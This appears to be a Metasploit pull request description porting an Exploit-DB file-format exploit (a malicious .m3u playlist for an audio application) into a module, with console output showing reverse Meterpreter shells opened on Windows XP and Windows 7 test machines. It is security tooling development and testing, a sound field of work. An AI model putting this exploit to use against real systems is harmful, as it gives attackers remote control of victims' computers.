Port EDB 25141 to msf

Port http://www.exploit-db.com/exploits/25141/ to msf. Vulnerable application on the exploit-db link.

Tested on Windows XPSP3 and W7SP1:

```
msf exploit(audio_coder_m3u) > rexploit
[*] Reloading module...

[+] msf.m3u stored at /Users/juan/.msf4/local/msf.m3u
msf exploit(audio_coder_m3u) > use exploit/multi/handler 
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.6:4444 
[*] Starting the payload handler...
[*] Sending stage (751104 bytes) to 192.168.0.6
[*] Meterpreter session 1 opened (192.168.0.6:4444 -> 192.168.0.6:53008) at 2013-05-02 21:56:41 -0500

meterpreter > sysinfo
Computer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.0.6 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.0.6:4444 
[*] Starting the payload handler...
[*] Sending stage (751104 bytes) to 192.168.0.6
[*] Meterpreter session 2 opened (192.168.0.6:4444 -> 192.168.0.6:53020) at 2013-05-02 21:58:02 -0500

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
smeterpreter > sysinfo
Computer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.181 - Meterpreter session 2 closed.  Reason: User exit

```